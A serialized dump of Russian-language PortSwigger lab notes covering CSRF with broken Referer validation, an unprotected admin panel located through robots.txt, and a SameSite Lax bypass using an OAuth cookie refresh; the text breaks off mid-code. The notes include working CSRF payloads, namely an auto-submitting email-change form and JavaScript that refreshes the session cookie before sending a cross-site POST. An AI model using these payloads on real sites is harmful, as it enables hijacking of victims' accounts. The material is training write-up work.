https:\u002F\u002Fexploit-0ab2006104810534824ba5f0018200df.exploit-server.net\u002Fexploit?0acd006e047305c382a4a606007d003c.web-security-academy.net\n",[48,15525,15523],{"__ignoreMap":50},[21,15527,15528,15529,15531],{},"В Burp работает, но помним про ",[48,15530,15469],{},", чтобы это сработало в браузере у жертвы.",[36,15533,9936],{"id":9935},[330,15535,15536,15539,15544],{},[333,15537,15538],{},"Добавляем в URL Host сервера лабы.",[333,15540,15541,15542,426],{},"Ставим заголовок ",[48,15543,15469],{},[333,15545,15546],{},"Сабмитим форму смены email.",[21,15548,15549,15550,15552,15553,15556],{},"За основу возьмём нагрузку предыдущей лабы. И не забудем добавить в эксплоит-сервер ",[48,15551,15469],{},", а страницу назвать, например, ",[48,15554,15555],{},"\u002Fexploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net",", чтобы содержалось имя Host сервера.",[41,15558,15560],{"className":2047,"code":15559,"language":2049,"meta":50,"style":50},"\u003Cform class=\"login-form\" name=\"change-email-form\"\n      action=\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"hhh@p.com\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  document.forms[0].submit()\n\u003C\u002Fscript>\n",[48,15561,15562,15580,15596,15608,15636,15660,15668,15672,15680,15692],{"__ignoreMap":50},[308,15563,15564,15566,15568,15570,15572,15574,15576,15578],{"class":310,"line":311},[308,15565,2056],{"class":911},[308,15567,15228],{"class":2059},[308,15569,11282],{"class":667},[308,15571,2066],{"class":911},[308,15573,15235],{"class":671},[308,15575,13421],{"class":667},[308,15577,2066],{"class":911},[308,15579,15242],{"class":671},[308,15581,15582,15584,15586,15588,15590,15592,15594],{"class":310,"line":98},[308,15583,15247],{"class":667},[308,15585,2066],{"class":911},[308,15587,15252],{"class":671},[308,15589,15255],{"class":667},[308,15591,2066],{"class":911},[308,15593,15260],{"class":671},[308,15595,2077],{"class":911},[308,15597,15598,15600,15602,15604,15606],{"class":310,"line":104},[308,15599,15267],{"class":911},[308,15601,15270],{"class":2059},[308,15603,15273],{"class":911},[308,15605,15270],{"class":2059},[308,15607,2077],{"class":911},[308,15609,15610,15612,15614,15616,15618,15620,15622,15624,15626,15628,15630,15632,15634],{"class":310,"line":1327},[308,15611,15267],{"class":911},[308,15613,13408],{"class":2059},[308,15615,13411],{"class":667},[308,15617,13414],{"class":667},[308,15619,2066],{"class":911},[308,15621,14737],{"class":671},[308,15623,13421],{"class":667},[308,15625,2066],{"class":911},[308,15627,14737],{"class":671},[308,15629,13428],{"class":667},[308,15631,2066],{"class":911},[308,15633,15304],{"class":671},[308,15635,2077],{"class":911},[308,15637,15638,15640,15642,15644,15646,15648,15650,15652,15654,15656,15658],{"class":310,"line":1336},[308,15639,15267],{"class":911},[308,15641,15313],{"class":2059},[308,15643,11282],{"class":667},[308,15645,2066],{"class":911},[308,15647,15320],{"class":671},[308,15649,13414],{"class":667},[308,15651,2066],{"class":911},[308,15653,15327],{"class":671},[308,15655,15330],{"class":911},[308,15657,15313],{"class":2059},[308,15659,2077],{"class":911},[308,15661,15662,15664,15666],{"class":310,"line":1349},[308,15663,11372],{"class":911},[308,15665,15228],{"class":2059},[308,15667,2077],{"class":911},[308,15669,15670],{"class":310,"line":1360},[308,15671,1636],{"emptyLinePlaceholder":112},[308,15673,15674,15676,15678],{"class":310,"line":1366},[308,15675,2056],{"class":911},[308,15677,2124],{"class":2059},[308,15679,2077],{"class":911},[308,15681,15682,15684,15686,15688,15690],{"class":310,"line":1452},[308,15683,15359],{"class":911},[308,15685,13892],{"class":678},[308,15687,15364],{"class":911},[308,15689,15367],{"class":667},[308,15691,15370],{"class":911},[308,15693,15694,15696,15698],{"class":310,"line":1465},[308,15695,11372],{"class":911},[308,15697,2124],{"class":2059},[308,15699,2077],{"class":911},[21,15701,15702],{},"На мне нагрузка работает, а PortSwigger не принимает. Но вижу в access logs, что почему-то, когда жертва переходит, ей возвращается 404.",[21,15704,15705,15706,426],{},"Попробую, может, не в query string передать Host, а прямо частью URL: ",[48,15707,15708],{},"\u002Fexploit\u002F0a5600910423b30f803c767000df00fd.web-security-academy.net",[21,15710,96],{},[357,15712,15713],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":15715},[15716,15717],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":15718},[15719,15720,15721,15722,15723],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":15440,"depth":104,"text":15441},{"id":682,"depth":104,"text":683},{"id":9935,"depth":104,"text":9936},"Обход проверки Referer через подстановку домена цели в URL атакующего и заголовок `Referrer-Policy: unsafe-url`.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation",{"title":15404,"description":15724},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation",[117,15399,15400,121],"XEySJlqlDGehOhpXJek0_7qoSEOAj8-fc2K5er9mNGk",{"id":15732,"title":15733,"author":6,"body":15734,"date":14780,"description":15821,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":15822,"navigation":112,"notes":110,"path":15823,"psTitle":15748,"seo":15824,"stem":15825,"tags":15826,"timeSpent":122,"type":123,"__hash__":15827},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality.md","Незащищённая админка (PortSwigger Lab)",{"type":8,"value":15735,"toc":15813},[15736,15740,15742,15749,15751,15753,15759,15761,15766,15768,15771,15774,15777,15792,15800,15806],[11,15737,15739],{"id":15738},"незащищённая-админка","Незащищённая админка",[16,15741,19],{"id":18},[21,15743,15744,30],{},[24,15745,15748],{"href":15746,"rel":15747},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-unprotected-admin-functionality",[28],"Unprotected admin functionality",[16,15750,34],{"id":33},[36,15752,39],{"id":38},[41,15754,15757],{"className":15755,"code":15756,"language":46},[44],"This lab has an unprotected admin panel.\n\nSolve the lab by deleting the user carlos.\n",[48,15758,15756],{"__ignoreMap":50},[36,15760,10324],{"id":10323},[21,15762,15763,15764,426],{},"Коротко и понятно: админка без защиты. Удалить пользователя ",[48,15765,10765],{},[36,15767,683],{"id":682},[21,15769,15770],{},"Го посмотрим, что там вообще происходит. Стоит обратить внимание на JS-файлы и код. На сайте размещаются товары — если речь про админку, то стоит смотреть карточку товара.",[21,15772,15773],{},"Ага, похоже, не то направление.",[21,15775,15776],{},"Тут скорее речь про брутфорс имён админки:",[330,15778,15779,15783,15789],{},[333,15780,7941,15781,426],{},[48,15782,14076],{},[333,15784,15785,15786,426],{},"Чекнуть содержимое ",[48,15787,15788],{},"robots.txt",[333,15790,15791],{},"Брутфорс админки по словарю.",[21,15793,15794,15796,15797,15799],{},[48,15795,14076],{}," не прошло, а вот в ",[48,15798,15788],{}," сюрприз:",[41,15801,15804],{"className":15802,"code":15803,"language":46},[44],"Disallow: \u002Fadministrator-panel\n",[48,15805,15803],{"__ignoreMap":50},[21,15807,15808,15809,15812],{},"Заходим туда — ",[48,15810,15811],{},"\u002Fadministrator-panel",". Удаляем пользователя. Лаба решена!",{"title":50,"searchDepth":98,"depth":98,"links":15814},[15815,15816],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":15817},[15818,15819,15820],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Поиск скрытого URL админки через `robots.txt` и удаление пользователя.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality",{"title":15733,"description":15821},"notes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality",[117,12853,121],"zyDZoSk4yvzzuQCVrBrOgynruIpbHHgESOXgP6plaS8",{"id":15829,"title":15830,"author":6,"body":15831,"date":16780,"description":16781,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":16782,"navigation":112,"notes":110,"path":16783,"psTitle":15845,"seo":16784,"stem":16785,"tags":16786,"timeSpent":16789,"type":123,"__hash__":16790},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh.md","SameSite Lax bypass через cookie refresh (PortSwigger Lab)",{"type":8,"value":15832,"toc":16770},[15833,15837,15839,15846,15848,15850,15856,15860,15867,15869,15875,15877,15880,15891,15894,15899,15905,15917,15923,15926,15932,15938,15941,15947,15950,15956,15959,15965,15972,15978,15980,15985,15988,15994,15997,16003,16006,16015,16022,16027,16030,16034,16037,16044,16050,16053,16062,16065,16191,16197,16202,16205,16308,16311,16319,16423,16431,16437,16555,16558,16564,16571,16767],[11,15834,15836],{"id":15835},"samesite-lax-bypass-через-cookie-refresh","SameSite Lax bypass через cookie refresh",[16,15838,19],{"id":18},[21,15840,15841,144],{},[24,15842,15845],{"href":15843,"rel":15844},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-cookie-refresh",[28],"SameSite Lax bypass via cookie refresh",[16,15847,34],{"id":33},[36,15849,39],{"id":38},[41,15851,15854],{"className":15852,"code":15853,"language":46},[44],"This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.\n\nThe lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter\n",[48,15855,15853],{"__ignoreMap":50},[36,15857,15859],{"id":15858},"полезная-теория-перед-лабой","Полезная теория перед лабой",[21,15861,15862,15863,15866],{},"Если мы явно не задаём ",[48,15864,15865],{},"SameSite=Lax",", то Chrome, например, сам поставит его по умолчанию. Но чтобы не ломать SSO-механизмы, существует двухминутное окно, когда ограничения не работают, и в этот момент можно сделать top-level POST-запрос.",[36,15868,10324],{"id":10323},[21,15870,15871,15872,15874],{},"Как обычно, нужно поменять пароль пользователя, эксплуатируя CSRF-уязвимость в этой функции сайта. Способ доставки нагрузки — эксплоит-сервер. На стенде можно залогиниться, используя OAuth-механизм. В названии упоминается приём обхода ",[48,15873,15865],{}," с помощью обновления куки и получение интервала в 2 минуты для осуществления атаки. Один из способов вызвать refresh куки — использовать механизмы OAuth, если таковые используются на сайте.",[36,15876,683],{"id":682},[21,15878,15879],{},"Начнём с того, что посмотрим, как работает этот OAuth-механизм.",[21,15881,15882,15883,15886,15887,15890],{},"Открываем, переходим в ",[637,15884,15885],{},"My Account",". Открывается ",[48,15888,15889],{},"\u002Fsocial-login",". Далее появляется форма ввода имени и пароля. Вводим данные, подтверждаем вход — успешно залогинило.",[21,15892,15893],{},"Окей, го в Burp посмотрим, что происходило под капотом.",[21,15895,15896,15897,215],{},"Зашли по роуту ",[48,15898,2400],{},[41,15900,15903],{"className":15901,"code":15902,"language":46},[44],"Set-Cookie: session=d24QySzpjR1y1S4SgUm3HQwkv62tQyzB; Expires=Wed, 13 May 2026 06:17:25 UTC; Secure; HttpOnly\n",[48,15904,15902],{"__ignoreMap":50},[21,15906,15907,15908,15911,15912,4840,15914,15916],{},"Далее нажали ",[637,15909,15910],{},"My account"," — 302 на ",[48,15913,15889],{},[48,15915,15889],{}," возвращает HTML:",[41,15918,15921],{"className":15919,"code":15920,"language":46},[44],"We are now redirecting you to login with social media...\n",[48,15922,15920],{"__ignoreMap":50},[21,15924,15925],{},"После улетает запрос:",[41,15927,15930],{"className":15928,"code":15929,"language":46},[44],"GET \u002Fauth?client_id=k6dgsunp2stqsamtsv7dx&redirect_uri=https:\u002F\u002F0a9500e1049ce82a809f0dda009f005b.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email HTTP\u002F2\n",[48,15931,15929],{"__ignoreMap":50},[21,15933,15934,15935,426],{},"Здесь интересен параметр ",[48,15936,15937],{},"redirect_uri",[21,15939,15940],{},"Редирект:",[41,15942,15945],{"className":15943,"code":15944,"language":46},[44],"Location: \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\n",[48,15946,15944],{"__ignoreMap":50},[21,15948,15949],{},"Тут уже возвращается HTML с формой логина и пароля. Вводили мы данные, после улетел POST:",[41,15951,15954],{"className":15952,"code":15953,"language":46},[44],"POST \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\u002Flogin HTTP\u002F2\n",[48,15955,15953],{"__ignoreMap":50},[21,15957,15958],{},"Далее редирект:",[41,15960,15963],{"className":15961,"code":15962,"language":46},[44],"Location: https:\u002F\u002Foauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net\u002Fauth\u002FLAZ1IMVxqtF29LA_RotP_\n",[48,15964,15962],{"__ignoreMap":50},[21,15966,15967,15968,15971],{},"Тут прилетает HTML с формой подтверждения. Нажимали кнопку ",[637,15969,15970],{},"Подтвердить",", улетал POST:",[41,15973,15976],{"className":15974,"code":15975,"language":46},[44],"POST \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\u002Fconfirm\n",[48,15977,15975],{"__ignoreMap":50},[21,15979,15958],{},[41,15981,15983],{"className":15982,"code":15962,"language":46},[44],[48,15984,15962],{"__ignoreMap":50},[21,15986,15987],{},"И финальный редирект:",[41,15989,15992],{"className":15990,"code":15991,"language":46},[44],"Location: https:\u002F\u002F0a9500e1049ce82a809f0dda009f005b.web-security-academy.net\u002Foauth-callback?code=EfrIA4L3nJzkTP9obKYYhqEYZ7Vamc3760c7p-gKQaf\n",[48,15993,15991],{"__ignoreMap":50},[21,15995,15996],{},"Тут пишут, что логин успешный, и ставят куки:",[41,15998,16001],{"className":15999,"code":16000,"language":46},[44],"Set-Cookie: session=2ZbppT7TSh2deVGAFkixzjPSOn3bBF2C; Expires=Wed, 13 May 2026 06:17:56 UTC; Secure; HttpOnly\n",[48,16002,16000],{"__ignoreMap":50},[21,16004,16005],{},"Окей, посмотрим теперь этот флоу ещё раз. Если верить доке PortSwigger, то, запустив флоу ещё раз, он уже не будет просить ввода логина и пароля.",[21,16007,16008,16009,16011,16012,426],{},"Можем попробовать перейти на роут ",[48,16010,15889],{},". И правда, происходит сразу вызов ",[48,16013,16014],{},"\u002Foauth-callback",[21,16016,16017,16018,16021],{},"Теперь ещё посмотрим, как происходит смена ",[48,16019,16020],{},"email"," пользователя:",[41,16023,16025],{"className":16024,"code":15112,"language":46},[44],[48,16026,15112],{"__ignoreMap":50},[21,16028,16029],{},"Session-кука и новый email. CSRF-токен не требуется.",[36,16031,16033],{"id":16032},"мысли-о-возможной-нагрузке","Мысли о возможной нагрузке",[21,16035,16036],{},"Один из шагов — обновить куки, используя OAuth.",[21,16038,16039,16041,16042,215],{},[48,16040,15889],{}," нам не подойдёт, поскольку нам нужно, чтобы после рефреша кук пользователя мы об этом узнали, а следовательно, нам нужно задать свой ",[48,16043,15937],{},[41,16045,16048],{"className":16046,"code":16047,"language":46},[44],"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002F0a21000b0447543f81912fc400e200e0.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email\n",[48,16049,16047],{"__ignoreMap":50},[21,16051,16052],{},"Пока не понимаю, подойдёт ли нам этот способ или будет проще реализовать через открытие OAuth-флоу в новой вкладке. Имею в виду способ, при котором на первой странице мы редиректим пользователя на OAuth, а потом нам надо принять редирект на другом роуте и стартовать атаку. На эксплоит-сервере PortSwigger мы не можем делать несколько эндпоинтов, а нам нужно бы 2 в таком случае: первый — куда придёт пользователь, второй — куда вернём пользователя после обновления кук. А в случае открытия в новой вкладке просто запускаем атаку спустя небольшое время?",[21,16054,16055,16056,16058,16059,426],{},"А нет, можно же просто ",[48,16057,15937],{}," задать ",[48,16060,16061],{},"https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true",[21,16063,16064],{},"Тогда черновик нагрузки:",[41,16066,16068],{"className":2047,"code":16067,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  const url = new URL(document.location.href)\n  const startAttack = url.searchParams.get('startAttack')\n  if (startAttack) {\n    \u002F\u002F Запуск атаки\n    \u002F\u002F Тут нужно POST-запрос сделать \u002Fmy-account\u002Fchange-email\n    console.log('Пора запускать атаку')\n  } else {\n    \u002F\u002F Тут редиректим на OAuth flow\n    \u002F\u002F Но ставим свой URL для редиректа\n    location = \"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true?response_type=code&scope=openid%20profile%20email\"\n  }\n\u003C\u002Fscript>\n",[48,16069,16070,16078,16096,16118,16126,16131,16136,16149,16159,16164,16169,16179,16183],{"__ignoreMap":50},[308,16071,16072,16074,16076],{"class":310,"line":311},[308,16073,2056],{"class":911},[308,16075,2124],{"class":2059},[308,16077,2077],{"class":911},[308,16079,16080,16083,16086,16088,16090,16093],{"class":310,"line":98},[308,16081,16082],{"class":1619},"  const",[308,16084,16085],{"class":678}," url",[308,16087,1647],{"class":1619},[308,16089,1650],{"class":1619},[308,16091,16092],{"class":667}," URL",[308,16094,16095],{"class":911},"(document.location.href)\n",[308,16097,16098,16100,16103,16105,16108,16111,16113,16116],{"class":310,"line":104},[308,16099,16082],{"class":1619},[308,16101,16102],{"class":678}," startAttack",[308,16104,1647],{"class":1619},[308,16106,16107],{"class":911}," url.searchParams.",[308,16109,16110],{"class":667},"get",[308,16112,917],{"class":911},[308,16114,16115],{"class":671},"'startAttack'",[308,16117,12056],{"class":911},[308,16119,16120,16123],{"class":310,"line":1327},[308,16121,16122],{"class":1619},"  if",[308,16124,16125],{"class":911}," (startAttack) {\n",[308,16127,16128],{"class":310,"line":1336},[308,16129,16130],{"class":1613},"    \u002F\u002F Запуск атаки\n",[308,16132,16133],{"class":310,"line":1349},[308,16134,16135],{"class":1613},"    \u002F\u002F Тут нужно POST-запрос сделать \u002Fmy-account\u002Fchange-email\n",[308,16137,16138,16140,16142,16144,16147],{"class":310,"line":1360},[308,16139,1764],{"class":911},[308,16141,1703],{"class":667},[308,16143,917],{"class":911},[308,16145,16146],{"class":671},"'Пора запускать атаку'",[308,16148,12056],{"class":911},[308,16150,16151,16154,16157],{"class":310,"line":1366},[308,16152,16153],{"class":911},"  } ",[308,16155,16156],{"class":1619},"else",[308,16158,1695],{"class":911},[308,16160,16161],{"class":310,"line":1452},[308,16162,16163],{"class":1613},"    \u002F\u002F Тут редиректим на OAuth flow\n",[308,16165,16166],{"class":310,"line":1465},[308,16167,16168],{"class":1613},"    \u002F\u002F Но ставим свой URL для редиректа\n",[308,16170,16171,16174,16176],{"class":310,"line":1478},[308,16172,16173],{"class":911},"    location ",[308,16175,2066],{"class":1619},[308,16177,16178],{"class":671}," \"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true?response_type=code&scope=openid%20profile%20email\"\n",[308,16180,16181],{"class":310,"line":1491},[308,16182,1363],{"class":911},[308,16184,16185,16187,16189],{"class":310,"line":1502},[308,16186,11372],{"class":911},[308,16188,2124],{"class":2059},[308,16190,2077],{"class":911},[41,16192,16195],{"className":16193,"code":16194,"language":46},[44],"oops! something went wrong\nerror: redirect_uri_mismatch\nerror_description: redirect_uri did not match any of the client's registered redirect_uris\n",[48,16196,16194],{"__ignoreMap":50},[21,16198,16199,16200,426],{},"Хм, получается, не выйдет подменить ",[48,16201,15937],{},[21,16203,16204],{},"Может быть, тогда вариант 2: нагрузка просто будет ждать клика, открывать OAuth в отдельном окне, и мы спустя секунд 5 будем запускать атаку.",[41,16206,16208],{"className":2047,"code":16207,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002Foauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net\u002Fauth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email)');\n  }\n  setTimeout(() => {\n    fetch('https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Fmy-account\u002Fchange-email', { method: 'POST', body: 'email=yes@no.ru' })\n  }, 5000)\n\u003C\u002Fscript>\n",[48,16209,16210,16218,16235,16249,16253,16265,16290,16300],{"__ignoreMap":50},[308,16211,16212,16214,16216],{"class":310,"line":311},[308,16213,2056],{"class":911},[308,16215,2124],{"class":2059},[308,16217,2077],{"class":911},[308,16219,16220,16223,16226,16228,16231,16233],{"class":310,"line":98},[308,16221,16222],{"class":911},"  window.",[308,16224,16225],{"class":667},"onclick",[308,16227,1647],{"class":1619},[308,16229,16230],{"class":911}," () ",[308,16232,1692],{"class":1619},[308,16234,1695],{"class":911},[308,16236,16237,16240,16242,16244,16247],{"class":310,"line":104},[308,16238,16239],{"class":911},"    window.",[308,16241,14505],{"class":667},[308,16243,917],{"class":911},[308,16245,16246],{"class":671},"'https:\u002F\u002Foauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net\u002Fauth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email)'",[308,16248,1711],{"class":911},[308,16250,16251],{"class":310,"line":1327},[308,16252,1363],{"class":911},[308,16254,16255,16258,16261,16263],{"class":310,"line":1336},[308,16256,16257],{"class":667},"  setTimeout",[308,16259,16260],{"class":911},"(() ",[308,16262,1692],{"class":1619},[308,16264,1695],{"class":911},[308,16266,16267,16270,16272,16275,16278,16281,16284,16287],{"class":310,"line":1349},[308,16268,16269],{"class":667},"    fetch",[308,16271,917],{"class":911},[308,16273,16274],{"class":671},"'https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Fmy-account\u002Fchange-email'",[308,16276,16277],{"class":911},", { method: ",[308,16279,16280],{"class":671},"'POST'",[308,16282,16283],{"class":911},", body: ",[308,16285,16286],{"class":671},"'email=yes@no.ru'",[308,16288,16289],{"class":911}," })\n",[308,16291,16292,16295,16298],{"class":310,"line":1360},[308,16293,16294],{"class":911},"  }, ",[308,16296,16297],{"class":678},"5000",[308,16299,12056],{"class":911},[308,16301,16302,16304,16306],{"class":310,"line":1366},[308,16303,11372],{"class":911},[308,16305,2124],{"class":2059},[308,16307,2077],{"class":911},[21,16309,16310],{},"Не, 500 — Server Error.",[21,16312,16313,16314,16316,16317,215],{},"Раз уж нам сейчас не нужно менять ",[48,16315,15937],{},", оставим тогда просто редирект на ",[48,16318,15889],{},[41,16320,16322],{"className":2047,"code":16321,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      fetch('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email', { method: 'POST', body: new URLSearchParams({ email: 'ne1@n.ru' }) })\n    }, 20000)\n  }\n\u003C\u002Fscript>\n",[48,16323,16324,16332,16346,16359,16370,16401,16411,16415],{"__ignoreMap":50},[308,16325,16326,16328,16330],{"class":310,"line":311},[308,16327,2056],{"class":911},[308,16329,2124],{"class":2059},[308,16331,2077],{"class":911},[308,16333,16334,16336,16338,16340,16342,16344],{"class":310,"line":98},[308,16335,16222],{"class":911},[308,16337,16225],{"class":667},[308,16339,1647],{"class":1619},[308,16341,16230],{"class":911},[308,16343,1692],{"class":1619},[308,16345,1695],{"class":911},[308,16347,16348,16350,16352,16354,16357],{"class":310,"line":104},[308,16349,16239],{"class":911},[308,16351,14505],{"class":667},[308,16353,917],{"class":911},[308,16355,16356],{"class":671},"'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login'",[308,16358,1711],{"class":911},[308,16360,16361,16364,16366,16368],{"class":310,"line":1327},[308,16362,16363],{"class":667},"    setTimeout",[308,16365,16260],{"class":911},[308,16367,1692],{"class":1619},[308,16369,1695],{"class":911},[308,16371,16372,16375,16377,16380,16382,16384,16386,16389,16392,16395,16398],{"class":310,"line":1336},[308,16373,16374],{"class":667},"      fetch",[308,16376,917],{"class":911},[308,16378,16379],{"class":671},"'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email'",[308,16381,16277],{"class":911},[308,16383,16280],{"class":671},[308,16385,16283],{"class":911},[308,16387,16388],{"class":1619},"new",[308,16390,16391],{"class":667}," URLSearchParams",[308,16393,16394],{"class":911},"({ email: ",[308,16396,16397],{"class":671},"'ne1@n.ru'",[308,16399,16400],{"class":911}," }) })\n",[308,16402,16403,16406,16409],{"class":310,"line":1349},[308,16404,16405],{"class":911},"    }, ",[308,16407,16408],{"class":678},"20000",[308,16410,12056],{"class":911},[308,16412,16413],{"class":310,"line":1360},[308,16414,1363],{"class":911},[308,16416,16417,16419,16421],{"class":310,"line":1366},[308,16418,11372],{"class":911},[308,16420,2124],{"class":2059},[308,16422,2077],{"class":911},[21,16424,16425,16426,16428,16429,426],{},"Кука обновляется, но что-то ",[48,16427,2130],{}," не проходит — возвращает 302. Редирект на ",[48,16430,15889],{},[21,16432,16433,16434,12478],{},"О, может, забыли добавить ",[48,16435,16436],{},"credentials: 'include'",[41,16438,16440],{"className":2047,"code":16439,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      fetch('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email', {\n        method: 'POST',\n        body: new URLSearchParams({ email: 'ne1@n.ru' }),\n        credentials: 'include'\n      })\n    }, 20000)\n  }\n\u003C\u002Fscript>\n",[48,16441,16442,16450,16464,16476,16486,16497,16506,16522,16530,16535,16543,16547],{"__ignoreMap":50},[308,16443,16444,16446,16448],{"class":310,"line":311},[308,16445,2056],{"class":911},[308,16447,2124],{"class":2059},[308,16449,2077],{"class":911},[308,16451,16452,16454,16456,16458,16460,16462],{"class":310,"line":98},[308,16453,16222],{"class":911},[308,16455,16225],{"class":667},[308,16457,1647],{"class":1619},[308,16459,16230],{"class":911},[308,16461,1692],{"class":1619},[308,16463,1695],{"class":911},[308,16465,16466,16468,16470,16472,16474],{"class":310,"line":104},[308,16467,16239],{"class":911},[308,16469,14505],{"class":667},[308,16471,917],{"class":911},[308,16473,16356],{"class":671},[308,16475,1711],{"class":911},[308,16477,16478,16480,16482,16484],{"class":310,"line":1327},[308,16479,16363],{"class":667},[308,16481,16260],{"class":911},[308,16483,1692],{"class":1619},[308,16485,1695],{"class":911},[308,16487,16488,16490,16492,16494],{"class":310,"line":1336},[308,16489,16374],{"class":667},[308,16491,917],{"class":911},[308,16493,16379],{"class":671},[308,16495,16496],{"class":911},", {\n",[308,16498,16499,16502,16504],{"class":310,"line":1349},[308,16500,16501],{"class":911},"        method: ",[308,16503,16280],{"class":671},[308,16505,1312],{"class":911},[308,16507,16508,16511,16513,16515,16517,16519],{"class":310,"line":1360},[308,16509,16510],{"class":911},"        body: ",[308,16512,16388],{"class":1619},[308,16514,16391],{"class":667},[308,16516,16394],{"class":911},[308,16518,16397],{"class":671},[308,16520,16521],{"class":911}," }),\n",[308,16523,16524,16527],{"class":310,"line":1366},[308,16525,16526],{"class":911},"        credentials: ",[308,16528,16529],{"class":671},"'include'\n",[308,16531,16532],{"class":310,"line":1452},[308,16533,16534],{"class":911},"      